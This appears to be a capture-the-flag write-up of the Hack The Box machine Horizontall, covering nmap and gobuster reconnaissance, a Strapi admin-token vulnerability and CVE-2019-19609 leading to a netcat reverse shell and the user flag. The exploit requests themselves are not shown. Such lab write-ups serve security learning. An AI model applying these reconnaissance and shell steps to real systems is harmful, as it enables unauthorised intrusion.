HTB Write-up | Horizontall (user-only)

Retired machine can be found here.

Scanning

Basic scanning shows only 2 services, running on ports 22 and 80:

~ nmap 10.10.11.105 -sC -sV

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)

80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As per usual, I added horizontall.htb  to the hosts file:

~ sudo nano /etc/hosts
10.10.11.105 horizontall.htb

After taking a look at one of the .js files I found this reference to an API:

I added this subdomain to the hosts file in order to start exploring it:

~ sudo nano /etc/hosts
10.10.11.105 api-prod.horizontall.htb

Accessing the /reviews endpoint I found 3 reviews and a couple of user names:

After using gobuster on the API I found some other endpoints:

~ gobuster dir -u http://api-prod.horizontall.htb -t 50 -w seclists/big.txt -s 200 -b 404

=============================================================== 
Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) ===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                Desktop/htb/machines/seclists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s =============================================================== 2021/09/05 17:13:05 Starting gobuster in directory enumeration mode ===============================================================

/ADMIN                (Status: 200) [Size: 854]
/Admin                (Status: 200) [Size: 854]
/admin                (Status: 200) [Size: 854]
/favicon.ico          (Status: 200) [Size: 1150]
/reviews              (Status: 200) [Size: 507]
/robots.txt           (Status: 200) [Size: 121]
/users                (Status: 403) [Size: 60] 

When I checked the /admin page I realized that the website was built using strapi:

After searching for vulnerabilities I found CVE-2019-19609.

By checking this ExploitDB script I realized we could get a JWT for user admin by sending the request below:

Looking at the JWT we see the embedded data:

{ "id": 3, "isAdmin": true, "iat": 1630863570, "exp": 1633455570 }

With this token, I checked the /users/me endpoint and saw the authenticated user's information:

While looking into plugin installation, I came across CVE 2019-19609, which allows an authenticated user to get a reverse shell, as shown below:‌

... and we get a shell as strapi!

~ nc -l 4444
/bin/sh: 0: can't access tty; job control turned off

$ whoami
strapi

Looks like that's all it takes to get the user flag:

$ cd /home 
$ ls 
developer 
$ cd developer 
$ ls
composer-setup.php myproject user.txt 
$ cat user.txt
53e897d91891afb3e4004c4e2665a6b6